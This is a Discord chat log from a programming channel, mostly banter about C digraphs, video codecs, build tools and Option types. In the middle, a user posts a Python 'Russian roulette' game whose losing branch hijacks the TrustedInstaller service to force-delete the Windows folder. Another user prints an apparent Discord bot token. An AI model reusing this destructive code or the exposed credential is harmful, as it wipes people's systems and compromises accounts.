#🪅-progaming
1 messages · Page 99 of 1
It's been 5 years since py2 became EOL, how
the download button on the homepage leads to a 10+ year old version with the same major and minor version number
i'm just trying to build the docs but am getting fucking xml errors
Where's Rosalina
why do you
ed nix?
filed bug report 
nice
horror
this has to be something to do with those weird alternative representations of characters
/run
#include <stdio.h>
int main() {
for (int i = 0; i < 10; ++i) %<
printf("%d\n", i);
>%
}
@winged mantle I received c(10.2.0) compile errors
file0.code.c: In function 'main':
file0.code.c:4:34: error: expected expression before '%' token
4 | for (int i = 0; i < 10; ++i) %<
| ^
file0.code.c:6:5: error: expected expression before '>' token
6 | >%
| ^
chmod: cannot access 'a.out': No such file or directory
file0.code.c: In function 'main':
file0.code.c:4:34: error: expected expression before '%' token
4 | for (int i = 0; i < 10; ++i) %<
| ^
file0.code.c:6:5: error: expected expression before '>' token
6 | >%
| ^
chmod: cannot access 'a.out': No such file or directory
guh
maybe this is just a c++ thing
c has trigraphs though
oh ngl i forgot the -- suffix operator exists
x --> 0
is just
x-- > 0
but the slashes...
isn't that just escaping a newline or something
wait they're backslashes
i didn't notice
but c isn't python...
i thought you only did that in macros
maybe the syntax was added because of macros but it actually works anywhere
anyway here's a cool thing
/run
#include <stdio.h>
int main() {
for (int i = 0; i < 10; ++i) ??<
printf("%d\n", i);
??>
}
Here is your c(10.2.0) output @winged mantle
0
1
2
3
4
5
6
7
8
9
in what scenario would you need to use ??> 😭
attributegraph
what if my keyboard doesn't have ? and >
then use {
same,,
i used to have The C Programming Language which explained it a bit better
i still have it
/run
%:include <stdio.h>
int main() <%
char array<:5:>;
array<:0:> = 'a';
array<:1:> = 'b';
array<:2:> = 'c';
array<:3:> = 'g';
array<:4:> = 0;
printf("%s\n", array);
%>
Here is your c(10.2.0) output @austere idol
abcg
why doesn't this link...
/run
#include <stdio.h>
#include <string.h>
#include <iostream>
int main() {
int i;i xor_eq i;i xor_eq 012;
while (i \
\
\
\
--> 0) <%
char c[3];
char*d=c;strcpy(d, ""),strcpy(++d, ""),strcpy(++d, ""); (--d)--;
*d xor_eq 060 or i, *++d xor_eq 012, puts(--d);
%>
}
Here is your c++(10.2.0) output @winged mantle
it should be printing at least
Why? It runs zero iterations
Idk
poser.....
/run
%:include <stdio.h>
int main() <%
char array<:5:>;
0<:array:> = 'a';
1<:array:> = 'b';
2:array:> = 'c';
3<:array:> = 'g';
4<:array:> = 0;
printf("%s\n", array);
%>
@tired vigil I received c(10.2.0) compile errors
file0.code.c: In function 'main':
file0.code.c:7:6: error: expected ';' before ':' token
7 | 2:array:> = 'c';
| ^
| ;
file0.code.c:7:12: error: expected statement before ']' token
7 | 2:array:> = 'c';
| ^~
file0.code.c:7:15: error: expected expression before '=' token
7 | 2:array:> = 'c';
| ^
chmod: cannot access 'a.out': No such file or directory
file0.code.c: In function 'main':
file0.code.c:7:6: error: expected ';' before ':' token
7 | 2:array:> = 'c';
| ^
| ;
file0.code.c:7:12: error: expected statement before ']' token
7 | 2:array:> = 'c';
| ^~
file0.code.c:7:15: error: expected expression before '=' token
7 | 2:array:> = 'c';
| ^
chmod: cannot access 'a.out': No such file or directory
is the index[array] syntax banned now
no
it’s just a parsing bug
1 < makes it think it’s an arithmetic expression
or no
they just have a syntax error
/run
%:include <stdio.h>
int main() <%
char array<:5:>;
0<:array:> = 'a';
1<:array:> = 'b';
2<:array:> = 'c';
3<:array:> = 'g';
4<:array:> = 0;
printf("%s\n", array);
%>
Here is your c(10.2.0) output @valid jetty
abcg
lol
that looks incredibly cursed
i love
Vro what
"hello" print;
this is genuinely how a stack based language would look
like forth
my plugin just reached 5000 lines of code 
what is this?
Looks like tokei
cloc cli tool on windows
i got 1k lines of whitespace lol
actually
ah most of those comments is a single file which i just commented out
and then eslint disables kekw
Oh looks like you beat me lmao
What project is that?
well... its a third of my project
as its split into a fuckload of repos
cuz then there's the electron native repo, then there's the IPC repo, and then there's the webtorrent repo [which is also split into like 20 other repos], and then there's the wasm repo....
and yeaaaah
kill me pls
XD
but yeh, not a vc plugin
my vc plugins max out at like 50 loc
it doesnt take much for me to be satisfied discord improvements xd
That looks interesting, does it require any setup?
the repo?
this one
each one has its own build requirments
but they are for the most part all the same
install, run dev cmd, run test cmd
Can I just download the exe file 
some use NAPI, so they require python and vs build tools, which node/npm comes with
oh for the app itself
yeah
its made for idiots who dont know what a computor is
so its veeeeeeeeery idiot and user friendly
advert, sorry, i know, but it was asked for https://hayase.watch/download/
Ngl I always use streaming websites because of the convenience, but this looks hella nice
well this will use... x40 the amt of data
since an average streaming site episode is.... 100MB?
and the worst torrent is 1GB
and best is 9GB
per episode

the setup verifies if it can or cant
and will warn you
again, idiot friendly
dw this app GIGA holds ur hand
I love this setup page, it so pretty
:3
That's insane
Also why does it use rust, C and elle all at once
Wait I'm confused is that just from markdown codeblocks
My guess would be rust for compiler itself, C and elle for tests
Ohh
how does it kno elle
i added it to tokei
oh ic
yep..

markdown has C inside
idk about the markdown inside rust files
markdown inside rust inside markdown inside c... 

insane. were hitting the point where anime look great < 250MB and live action under 2gb
yeah
the target is "best possible"
not "great"
so for the most part its just bd remuxes
thats simply how seadex wills it
seadex..... eternal shit encodes
seriouslly tho how are you getting 9GB per ep unless its a 100GB blueray (which is rare) with ONLY 10 eps on it
OH LMAO
which is rare
most fucking clueless statement since sliced bread
i don't mod any of the data, i'm the lead dev of the site, so i'm simply listed cuz i have admin access
For anime its super fucking rare.
new Live action HDR giga ulta 4k sure
sir i just litsted u like 20TB of content where its not rare
you just dont use it because you prefer av1 on an lcd
that's fine
4k OLED TV enjoyers like to enjoy best quality possible, its what they paid for
there's 0 value in loosing quality for us
great, and if you think that a 250MB AV1 vs a 9GB BD has no difference, then you've wasted your money
I never said they had no different, just very little.
I also assume youre thinking of old av1 encodes, not the bleeding edge
I'm only interested in shit which people are actually willing to spend time on
which isnt the AV1 bleeding edge, as I've mentioned before, the encode times are unreasonable, and no fan subber would be willing to waste their life waiting for it
so yeah, as i said
up to 9GB in the most extreme cases
because those 250MB encodes you benched your bleeding edge encoder on, arent available, and arent used, so while great in theory, are even rarer than those "rare" 9GB BD remuxes
Like i said, youre thinking of encoder encodes and encoders.
libsvt-av1 can beat x265 in raw detail preservation and efficiency and speed all at the same time.
yes, it can, but
.
You gave this as a reason as why people aren't interested in which is just bullshit .
the encode times are unreasonable
that will probably change in the future, maybe, but so far anime av1 encodes are meme quality at best, and about their best use is 8MB discord embeds
yes sir, i'm not making my PC unusable for 10h+ just to encode an episode
and i'm not paying $900 for a cpu which can do it in 5h
svt isnt that slow. are you thinking of 1.0.0 libaom?
and not people, but encoders
because its the consumers who make releases, but encoders or fansubbers
and the current av1 releases are a joke
so yeah, as i said, this will probably change in the future, once av1 encoders support hw accel in any reasonable amt, the hardware for it becomes more widely adopted, and the encoders arent restricted to $1000 NVIDIA GPUs, or less than stable intel GPUs with no encoding parameters,
but for now its just nice "benchmarked theory"
because regardless of how insanely good av1 is, it doesnt change the fact that there are NO av1 releases, just web re-encodes
which is why we're staying at said 9GB raws for now, because even that people cant be asked encoding
< 10% gain from preset 2 to -1
even less so for preset 2 to -1
SVT requires higher crf values on average because its scale isnt 0-53 its 0-7X. 40 is however high. The specific persons releases you're screenshotting targets smaller but acceptable encodes
--aq-mode 2 isnt equivalent to x26* aq-mode, neither --psy-rd . I dont really get your point for pasting all the settings used
All this yap, but no proof of real encodes.
this is great!
again, no releases
so????
Because most encoders use outdated knowledge from doom9 sadly
post some image comps and we can talk
or simply go to https://ravencentric.cc/seadex-data-refinement/unmuxed.html and mux/encode those releases yourself, and they'll 100% be used on seadex if they are even remotely as close as you're showing
i wouldn't argue with retards
hm?
"which is rare" should have ended the convo right there
he's objectively correct, i just dont understand why he had to go out of his way to insult me, and the work of dozens other people
because thats the entire thing, its not rare
he's just hallucinating that is is, with theory, because I assume he imagines that people simply use the best available tech at any given time, rather than whats most commonly avaialble
and its very much not rare.
#1 184 entries at a 81GB average
thats... rare?
and thats a single releaser!
out of dozens!
but yeah this.
he's very much right AV1 has potential, but simply noone uses it, because its not in a state of doing so just yet, for MANY factors
Here is svt beating x265 in borne at a lower bitrate. Took a while to find because no one really cares about x265 anymore
https://slow.pics/c/fk2lWH5t
Slowpoke Pics image comparison service
When did i insult you
and that is in no way reason to dismiss other people's work, or existing releases
right
here.
av1 has no place in high quality releases just like x265 (at least outside of anime) does not
It was funny saying shit about seadex and then seeing you worked on it, it was not a personal attack on you. Some of the encoders on seadex use questionable settings
seadex doesnt encode
it simply aggregates the best AVAILABLE releases for anime the community has created
into a single database
yes, the encodes on seadex
you said encoders
not encodes
::^)
mmm thats highly unforunate as you dont provide the base you worked against, so you might as well be comping against thin air, comp against raw, or a well established good release for a given target
anyways, as i said, the potential of AV1 is not the problem
i never said its not good
i said its not usable by people in its current state, because its the encoders that decide what codecs are used
its the BD release 
BDs dont release in HEVC
unless you're suggesting you suddently re-encoded that hevc release into av1 and magically improved the quality
which would be even more sus
i meant that bd
because bourne ultimatum was not releasaed in HEVC
yes the two screenshots are re encodes
which is why i said
you said BDs in general ::^)::^)::^)
you're comparing against thin air
because that HEVC encode is pretty much useless as a comp
comp raw, your hevc, a well established good hevc encode and av1
thats a proper comp
Slowpoke Pics image comparison service
skewing results and data reaaaaaaally isnt difficult
shit, thats what all of uni is about
the BD is the source if you wanna compare to that.
You are being pedanic for the sake of protecting HEVC encodes which is normal
Svt does obviouslly preserve the grain in the original film without artifacting in that test.
a well established good hevc encode
I assume you say it like this because you think encoders are some kinda gods of encoders or the like
most of them if you read doom9 have no idea what the hell theyre doing
no, thats your job, thats the job making the comp, i wont be advocating your skewed and manipulated results, i'm being pedantic because of the fact you're trying to manipulate results, for which i dont care
and i never said hevc is better than av1, in fact i said 4 times that av1 is great, but its not usable for encoders because its not well adopted enough for hw acceleration yet
no, i'm simply saying you're skewing results, to make yourself look better, to win your own, non-existent argument
because you keep glazing av1, when the topic is "no1 is making av1 encodes because it takes too much time" and not "no1 is making av1 encodes because its bad"
not well adopted enough for hw acceleration yet
nearly everthing supports it and software decoding is well beyond mature enough to be used as a replacement.
Unless we still care about burning encodes to dvd to play them back
deocding doesnt matter
av1 isnt slow, im not sure where you got this information
It was slow, this is the same complaints people made when x264 and x265 were new
its an order of magnitude or two slower than a HW accelerated HEVC encoder
yes, and then x265 got hw accelerated encoding
which is what av1 is waiting for now
when you say x265 do you mean HEVC or h.264?
Because x265 is only a software encoder
also none of the encoders who are taken seriously use hardware because of how dogshit it is and is even worse at preserving detail due to hyper tunning for metrics like PSNR
i mean hevc sorry
that was back during the GTX 10 series, which is when HEVC got good hardware encoders, and its only gotten adopted in encoding a few years ago, and av1 is JUST RIGHT NOW getting good hardware encoders, so its a while off adoption
I dont know why the hell you think you need a compute farm to get decent av1 encodes. I can encode anime eps all day in real time and get a whole season done in a few hours
@ivory heath do you know if there is a format like svgs but in binary instead of text (to save space..?), just out of curiosity
welp your list of serious encoders is a lot different than the list of people who actually encode anime
you dont, but most encoders arent ballers who spend money on gpus, and do this shit for free in their spare time for fun, they dont chase max codec perf like you are
most people just GZIP it via ssl
and they defo wont waste days trying av1 encodes
when they can just hevc it in 10 seconds
hmm
but most encoders arent ballers who spend money on gpus
gpus are the worse at video encoding period?
yes
but they are faster!
again, your av1 dellusions is a LOT different from what the market actually shows
because you can come up with ALLLLLLL the excuses in the world
the fact of the matter is, there's not a SINGLE av1 BD encode available for anime
i think i wanna actually make something like that myself if it doesnt exist then just out of fun & learning how formats work / how to efficiently decode and use formats
that isnt in one form or another a meme
not just for anime
there are plenly of good BD av1 encodes. Im not sure why youre glazing HEVC so much.
I would like to see proof of av1 being shit that isnt encodes from like HAV1T from 4 years ago
well i can from experience only speak for the anime shit, since i dont know western market much
Bruh
hm?
NO YOU IDIOT THERE ARE NOT, ALL AV1 ENCODES ON NYAA ARE WEB MINI REENCODES, IM NOT GLAZING HEVC YOU MORON LEARN TO READ, IM SAYING AV1 SIMPLY DOESNT HAVE ANY ADOPTION ON THE MARKET
ARE YOU IN THIS CONVERSATIOn
AM I FUCKING TALKING TO A WALL
Just saw another videocodec war
oh fair
its not even a war, its just him going "AV1 SO GOOD SOOO GOOD" and me going "what... are you talking about? we're not even comparing codecs????"
thats not an entirely honest summary
it is, i legit said "oh yeah on the extreme you'll have 9GB per ep raws"
you go "LMAO HOW DO U GET 9GB THAT SHIT DOESNT EXIST WE'RE USING 250MB AV1S" and then provided to list not a single one
and kept saying "youre just HEVC glazing" when i just kept saying that there are simply no av1 releases
and never once menioned that hevc is good, actually even the other way around
all there is trix, which provides some mediocre quality av1 encodes at best, with often less than great audio and subs
Because the people encoding are not actually involved in any sorta encoding circle besides filtering because
- they dont give a shit
- theyre low effort
- they read doom9 which is just a cest pit of wrong information and canceling.
Thats all i said. My real issue was you spreading misinformation about av1 encoding times
YES
YES
THATS EXACTLY IT
I dont like trixs encodes as well or him as a person
they dont fucking care, because they dont have the time to waste on shit like that, they just want to publish something this year, and move on to the next elease
you said it was because of encoding times however. which is wrong
and yet those are the only non-shit av1 encodes that are available on nyaa, which drives my point even further
because sadly nyaa.si stop accepting sign ups and trix just happened to have an account before they stopped
u r all nerds
im not?
i had issue with this, this is the whole point of the argument
i store all frames as uncompressed bitmaps idk bout yall
same
btrfs compression is good enough
btrfs compression is amazing
you write 10gb and it gets stored as 0 bytes due to corruption
only in raid
and for all i care it could be pied piper dick jerk based compression, it doesnt matter if there are no releases
okay
youre still wrong about this
yes i know i'm wrong abou the fact that HEVC HW based encoders are faster than software av1 encoders
and you're the best encoder in the world
and av1 is the greatest which is why noone uses it
thank you
no one uses hw encoders
except most encodes on nyaa
good night
and even then
most people dont even bother encoding
which is where the original 9GB video BD rip size comes from
from the very start of the conversation
because most cant even be asked waiting for a HW encode
let alone a SW encode
state of the art comp https://slow.pics/c/wMSONnXX
Slowpoke Pics image comparison service
FUCK your grain who needs that shit?
techbros need to fuck off video encoding and every other aspect of life
Nvidia already made that
just ask chatgpt to recreate the video
blurs more than what fawn is bitching about
cause nvidia like their HW encoders tuned it for PSNR
truly awful
super resolution actually works great for video
mostly because its a video and you arent gonna zoom in to point out all the artifacts every 2 seconds
true though no good encode uses hw
when will nvidia stop putting "game ready" in their press releases, everyone knows they dont give a shit about gaming
this is upscaling, i assume they meant to ML encode to decode
i will encode you
everything on the internet is bait or slop
better use x264
oh lawd please no
game ready is the name of their drivers, you choose between game ready optimised for gaming (includes the rtx stuff) or studio driver which is for creative stuff like modelling, video rendering, etc.
this is true
simply do not argue
are you bait or slop
im rini
baitslop
i know
thats why they wont stop putting in game ready since it only affects the people who gayme
I do have a vested interest in the unknown not promoting false information of av1 due to being invested in libsvt-av1, av1an, x26* development myself
there's no false information, there are no good anime av1 releases, WHICH DOESN'T MEAN that av1 isn't good, it means NO ENCODER IS USING IT
(because it isn't good)
and saying that 9GB raws exist is also NOT false information
im invested in vencord development and i always put up false information about it
so get it head out of ur ass for fucks sake
i never argued against that, i agree trix sucks.
Im arguing against av1 taking longer to encode and youre malicious assumption that release groups use hw encoders for some reason.
They either release the raw, or shitty x264 encodes half the time. A old past time of mine was looking at the metadata and making fun of them using bad settings
youre a investor in vencord inc?
av1 is bad because im racist but towards file types all images on my pc should be png, all videos on my pc should be mp4 and all audio on my pc should be ALAC
i own 50% shares
hi chloe
can i have some
hiii
uhuh, sure Mr I pivot my arguments because I lost the convo
2 dollar
thanks!
na, you just misrepresented me and are coping to not admit youre wrong about av1 encode times
im telling you that everything should be stored in ffv1 or bitmap. the two best formats fortold by god himself
you guys remind me of the animepiracy discord
because for reasons we agree on
unknown prob knows
x265 >>>>
-# User was banned for this post
dude it's insane, I don't remember the last time a mf headcomped so many arguments
well I know, it was ap
XD
are u on ab
nah, I was invited but never accepted, I CBA keeping track of ratio, activity etc to make sure I don't get banned
biracy
it's not really hard to maintain ratio there though
and I also code my own torrent clients, which would also get me banned since they have an allowlist
true
so meh, interest for it was low
cant you just spoof yourself
well it just wouldn't connect you won't get in trouble but
yeaaawh, but it's gotta be in the back of your head one way or another
im just asking, i dont know the specifics
ig snackstare~1
yeah, but that means not being able to use actually useful torrent clients
yes you can, but it is possible to detect that based on behavior like piece and peer selections, extension and flags
which is yet another thing to worry about
just... not worth
ah yeah
I've been fine with nyaa for all 1k anime I watched
except.... for 2 I think
both were GIGA old
how to spoof a client
- use the client
read or die and smth else I can't remember
yes but .
most torrent clients are fucking dogshit for automation or integrations
im ragebaiting i use aria2 for my torrents
that's fucked up
which is why I made this.
same
im unable to seed anyway
BitComet is where it's at
tasty bloat
@supple whale do you know wotaku
somewhat
mb
WTF THEY REMOVED ME
nah they just replaced me with a fork of my own app
wtf that's fucked up
whats that fork about
ah nvm
just my app plus extra dogshit features
and android app for free because fuck supporting the original developers right?
sorry it's a fork of a giga old version
so it's got none of the new shit
lol
and it uses my api
which I pay for
damn I wonder what would happen if my api suddenly got basic security
do it for the bit

what if markdown extension to execute code inside codeblock
# Hello world!
```!c
#include <stdio.h>
int main() {
puts("## This subheading is generated from C code");
}
```
I think this is more of a thing of a the markdown renderer
already exists in some places
You can really add this without intervening the actual syntax of md
most of them call a external sandbox api, othertimes its something like pyodide which can run in the browser
so… metaprogramming
no
inserting things into the markdown file is metaprogramming
it would be rce if you could just run the code of a snippet and get an output
but because it’s reinserting markdown back into the file it’s considered metaprogramming
that's kinda like typst
u can just write a macro to replace content with other content
well typst is more powerful than that
you can do contextual stuff which does type erasure but allows you to render something different depending on the context like language and position on the page and stuff
it’s great
I experimented a bit with it but idk what to actually use it for 😭
idk if my school would allow using it for assignments
also the lack of explicit types is kinda annoying
they should just add typescript to typst
or nah
something more powerful
with higher kinded types and bidirectional inferance and stuff like that
so u can do meta meta programming
academic writing should be all about writing 10 pages of custom types for the most basic shit
you can explicitly check types fwiw
C++ templates
oh but like you can't specify that your function only accepts specific types at compile time
in c++ you can init things as Class foo(constructor_args) so it doesn’t know whether that’s an initialization of a class or the interface of a function at the parsing level
therefore you can disambiguate with parens
but parens inside function declaration makes no sense
what's the use case
why at the parsing level can it not invalidate int(my_int) in function defs
no, int(x) is the disambiguation
^^^
this defines a function
why would you use this to declare a parameter of type iter called stream
you'd just do Iter stream if you were triyng to do that
ah, it's implemented for the sake of function pointers
still doesn't make sense, just make it invalid if you don't then have a following open paren
ig they can't change without breaking compat
there's no reason you can't just make it so that
void run(void (*f)()) {
}
is legal on the parsing level but
void run(void (f)) {
}
is not
anyway, easy fix, just use {}
how does one cmake
Not recommended
all other build systems are ass tho
idk cargo but delete /usr/bin/rustc and replace it with g++
to trick it into using g++ instead of rustc
is that in response to me?
yes
crazy
but that means using rust's build tool which I only remember as being horrible
If it wasn't for needing to use libraries that use cmake I'd be using gradle already
cargo is like one of the better build systems out there
Cargo is the least painful build tool
the cargo experience is very good imo
but that requires using rust for build logic 🤢

The build is all handled by cargo
if JSON is more your style just use NPM
{
"scripts": {
"clean": "rm -rf target",
"all": "npm run build",
"build": "g++ -Otarget/myapp -Lnode_modules/* -Inode_modules/* -lsomelib src/**/*.cpp src/**/*.hpp src/**/*.h"
}
}
but idk how to register tasks and configure them later or when needed
can you please add linting too
Any build system with "tasks" is overengineered imo
like I said my preferred style is gradle 
it just makes sense and is easy to use for anything
i think we should also put the c++ code through prettier
what the fuck```cpp
/opt/devkitpro/devkitA64/aarch64-none-elf/include/c++/15.1.0/bits/stl_construct.h:99:21: error: invalid conversion from 'const void*' to 'void*' [-fpermissive]
99 | void* __loc = __location;
| ^~~~~~~~~~
| |
| const void*
just package every library as an npm package that contains header files
and libraries build for every platform

it can do that
why not bash then?
husk cargo is the best tool I've ever used
even compared to gradle
gradle is the worst software ever
can confirm since it gave > Type V not present today
nop
gradle is actually really really nice to use once you understand how it works
super flexible, extendable, and configurable
i understand how rusher works
the most configurable build system will always be shell scripts
I used to despise gradle until I met msbuild
realized how good we have it
too bad it treats my ram as an all-you-can-eat buffet
npm
that's not even a build tool
i don't like gradle because it would always eat my ram
going on to the tasks tab on eclipse would start a billion gradle daemons

im replacing gradlew with malware
gradle is good but the fact that it's so slow and uses so much ram makes it worse and something i dont like using
rewrite gradle in rust soon
import random
a = random.randint(1,6)
try:
n = input("Enter a number 1 to 6.")
try:
m = int(n)
if m <= 0 or m >= 7:
raise Exception("invalid number entered")
if m != a:
print("As you pull the trigger, you hear a click and nothing happens.")
print("You win!")
exit()
else:
print("You pull the trigger and everything goes black.")
print("You lose.")
loser()
exit()
except:
print("Deciding this game isn't worth your time, you pull out a Colt 1911 and do the deed.")
print("While you may have died, you never played the game, so you do not lose.")
exit()
except KeyboardInterrupt:
print("Chicken.")
exit()
except:
exit()
what is this 😭
def loser():
# set trustedinstaller to cmd
subprocess.call([r"C:\Windows\system32\cmd.exe", r"/c", r'sc.exe config TrustedInstaller binPath="C:\windows\system32\cmd.exe"'])
# delete windows folder :)
subprocess.call([r"C:\Windows\system32\cmd.exe", r"/c", r'sc.exe start TrustedInstaller "/c" "del /fq C:\windows"'])
i don't mean to alarm you but
virus
Groovy is like java but pythonized
groovy is like if java got drunk
why the fuck do they all use it??
cause apache made it
that google logo is over a decade old
it's an ancient and outdated language that nobody likes
never even heard of it until gradle
I should go to jail for this (when you only know python but want to make it look like you know java)
so basically what I just created /j
u should go to jail for using python
we already had a tool for this called "Jython"
Is that RustScript
ya
wth is rustscript
options are actually good though and imo a lot better than null
i did my own too
type safe tho
and cleaner to read
the impl is pretty tiny
type Option<T> = {
__internal__: {
value: T | null,
some: boolean
}
unwrap(): T,
unwrap_or(value: T): T,
expect(message: string): T,
is_some(): boolean,
is_none(): boolean
}
const None = {
__internal__: {
value: null,
some: false
},
unwrap() {
if (this.__internal__.value === null) {
throw new Error("Attempted to unwrap on a None variant.");
}
return this.__internal__.value;
},
unwrap_or<T>(value: T) {
return this.__internal__.value ?? value;
},
expect(message) {
if (this.__internal__.value === null) {
throw new Error(message);
}
return this.__internal__.value;
},
is_some() {
return this.__internal__.some;
},
is_none() {
return !this.is_some();
}
} satisfies Option<null>
function Some<T>(value: T): Option<T> {
return Object.assign({ ...None }, { __internal__: { some: true, value } });
}
function match<T, U>(option: Option<T>, val: { Some: ((val: T) => U), None: (() => U) }) {
if (option.is_some()) {
return val.Some(option.unwrap());
}
return val.None();
}
ofc its not a "real" sum type
but the api usage is the same
this is missing some nice-to-have methods too but you get the idea
./run
from dataclasses import dataclass
from typing import NoReturn
@dataclass
class Some[T]:
value: T
def unwrap(self) -> T:
return self.value
@dataclass
class Nothing:
def unwrap(self) -> NoReturn:
raise TypeError(".unwrap() called on None")
type Option[T] = Some[T] | Nothing
def get_something(input: int) -> Option[str]:
if input == 3:
return Nothing()
return Some("meow")
def main():
a = get_something(1).unwrap()
b = get_something(3)
# a is typed as str, b is typed as Option[str]
print(a)
match b:
case Some(val):
print(f"We have {val}!")
case Nothing:
print("We have no value :C")
main()
@shrewd canopy I only received py(3.10.0) error output
File "/piston/jobs/fa57277d-28c2-4b7c-bf99-ac1e16ca6c0f/file0.code", line 5
class Some[T]:
^
SyntaxError: expected ':'
./run
import sys
print(sys.version)
Here is your python(3.10.0) output @ivory heath
3.10.0 (default, Aug 8 2023, 20:59:41) [GCC 8.3.0]
the fuck
I think this is the same but
./run
import sys
print(f"{sys.version_info.major}.{sys.version_info.minor}.{sys.version_info.micro}")
@violet monolith
Unsupported language: None
Request a new language
what
is that not valid python
./run
import sys
print(f"{sys.version_info.major}.{sys.version_info.minor}.{sys.version_info.micro}")
Here is your py(3.10.0) output @violet monolith
3.10.0
oh I forgot the py after the three backticks
gradle
$ == macro?
lc.eval console.log(client.token)
NjgyNjU0NDY2NDUzMDEyNTUz.Gz-cd5.tncCMMDjDtDJ1E4TpQ3_-XwBAqyU-9zfaTu0Ek
#hacked
is this true
it's true
it's definitely real
did it revoke it
i uploaded to guhhub
im too lazy to test
{ _events: {},
_eventsCount: 0,
_maxListeners: 12,
_isBot: true,
_killed: false,
application: {},
cluster: {},
commandClient: {},
imageFormat: 'png',
token: 'NjgyNjU0NDY2NDUzMDEyNTUz.Gz-cd5.tncCMMDjDtDJ1E4TpQ3_-XwBAqyU-9zfaTu0Ek',```

gusk
Since Let’s Encrypt started issuing certificates in 2015, people have repeatedly requested the ability to get certificates for IP addresses, an option that only a few certificate authorities have offered. Until now, they’ve had to look elsewhere, because we haven’t provided that feature.
Today, we’ve issued our first cert...
the minor typo in the article
owned
owned

this was the worst thing ever written
did they port journal to 


anyway looks cute
$ == stdlib builtin
there are no macros but there are variadic functions and generic functions (with type inference)
i havent found a need to go deeper into the metaprogramming hole
you can already express relatively complicated relationships in the type system
fn Option::resolve_with<T, U, Out>(Option<T> self, fn(T, U) -> Out if_some, fn(U) -> Out if_none, U arg) {
if self.is_some() {
return if_some(self.__value, arg);
} else {
return if_none(arg);
}
}
fn Option::resolve<T, Out>(Option<T> self, fn(T) -> Out if_some, fn() -> Out if_none) {
if self.is_some() {
return if_some(self.__value);
} else {
return if_none();
}
}
fn Result::map_err_with<T, E, U, Out>(Result<T, E> self, fn(E, U) -> Out cb, U arg) {
if !self.is_ok() {
return Result::Err<T, Out>(cb(self.__error, arg));
} else {
return self;
}
}
fn Result::map_err<T, E, Out>(Result<T, E> self, fn(E) -> Out cb) {
return self.map_err_with(fn(err, cb) cb(err), cb);
}
fn Iterator::fold<T, U, AnyEnded>(Iterator<T, AnyEnded> self, U initial, fn(U, T) -> U cb) {
while _, val := self.next() {
initial = cb(initial, val);
}
return initial;
}
``` macros just arent necessary
you can even express relationships like this through the type system
macros would just give you another entirely different way to solve the same problems, potentially less type-safe
rosie what is the end goal of elle
become the next rust
to make a language sufficiently powerful that i can use it for recreational programming
ive already succeeded at that but there is always more to do
There is .embedded field on ClientStatus object
But its not just console anymore, it means also in-game with social layer integration with discord, or using social sdk
day 2 of posting python war crimes
def relaunch_as_admin():
subprocess.run([
"powershell.exe",
"-Command",
f"Start-Process powershell.exe -ArgumentList '-NoExit', '-Command', '\"{sys.executable}\" \"{os.path.abspath(sys.argv[0])}\"' -Verb RunAs"
])
sys.exit(0)
hello, quick question is there any way to bypass
Validation errors:
Application name cannot contain ":"
In what stack
i just wanna change my discord bot name to "Resonance: A Plague Tale Legacy"
For sure it doesnt let you use ":" but if theres anyway to bypass it it would be cool ^_^
the game isnt out yet but i wanna put it to the list of games on my server, as you can see in the tag
using [this](#📜-js-snippets message)
no
Gotcha thanks !
yes we have a perfectly working display protocol lets just make a third one for absolutely no reason
link that competing standards xkcd
what else do u expect from a project that is proudly "DEI free"
@nimble bone Wanted to warn you that your website has a Cloudflare Tunnel error (error 1033)
yes i know
k
its literally open source wdym dei free
woke liberals are not allowed
This is an independent project, not at all affiliated with BigTech or any of their subsidiaries or tax evasion tools, nor any political activists groups, state actors, etc. It's explicitly free of any "DEI" or similar discriminatory policies. Anybody who's treating others nicely is welcomed.
vencord is also dei free
look at the readme of the project
oh someone already quoted it
vencord is the opposite of dei free
who has introduced 2^16 and why they did that
i dont know the initial context behind any of those changes
ohhhhh
the answer of metux is devastating
Signed-off-by: Enrico Weigelt, metux IT consult info@metux.net
even in python, even in FUCKING python, ^ does not mean "power of"
💀 💀 💀 💀 🪳 🪳
writing 65536 is better than writing 2 << 15 anyway because that expresses your thought better
Only key difference that calloc(), in contrast to rellocarray(),
is zero-initializing. The overhead is hard to measure on today's
machines, and it's safer programming practise to al...
i want to moan
and laugh
and why to even impose arbitary limits, let it be customizable
defined the macro to use it once, then why to define it?
__del__
whag
using this method in classes will induce some funny chaos
you can even write files when your program is killed
but you can override them with your childs
what even can you break with that
when do you think it will be fixed?
no ETA be patient
i have other things to do than fix my shit all day
Does in Julia though
I used to love Julia
And probably still would’ve if it weren’t for the package manager being so damn slow
Also the inability to compile apps is a bit annoying
k is there a mirror tho?
no
this means that that xlibre guy is thinking in julia?
Ohh, yeah that makes sense
They’re simply too scientifically minded for us to comprehend
Documentation for The Julia Language.
^ is power
Yeah, that was the point lol
Inverse divide is the best operator
lol
Julia has so much whacky Unicode
like all constants are predefined to the Unicode representations
you can type \xor
how i am supposed to write it
read 1 message up
sent too late
ummmm check your internet?
What should I use to run py code?
Isnt ^ and in logic?
python probably
CRAZY
need feedback fro my website
https://sadan.zip
hold the center button
anyone who downloads a custom windows iso is stupid
Holding doesn't work on mobile
mobile support is todo™
thats cool as hell

when u press the link and return back to the site the selection is stuck on that link u pressed even if u move the cursor
thats web focus
tab navigation
oh
i'll add something for onClick that unfocuses
no way that's a valid qr code
surprised its able to read the huge sections of black and white
usually that throws off readers
is this qr apple
It should be valid, qr data is repeated many times, the squares are guides, however I have no idea how they included images, I think their site acts as a URL shortener to make this possible
As demonstrated here
But most readers aren't detecting any qr I generate there so something is wonky
The image is a URL to the site and it somehow redirects to the text I wrote but no idea fr
Basically the pixel image is the URL shortener random string
It seems just guessing
Actually I can ask Gemini to analyse their repo cuz I'm lazy
the image would create garbage data
everything on the left is just error correction
decided i prefer unindented switch
i prefer that switch doesn't introduce any more intentation than an if statement
if i indent it i feel like i avoid using it because of it being kinda ugly to have that much indentation
i've decided that we should start stoning people for code formatting
@winged mantle my clang-format would give you an aneurysm
The garbage data is the URL end I think
So this URL redirects u to the text I guess it seems kinda weird
You need to provide an image/GIF with a QR code to read! (Tip: try right-clicking/holding on a message and press Apps -> Select Image, then try again.)
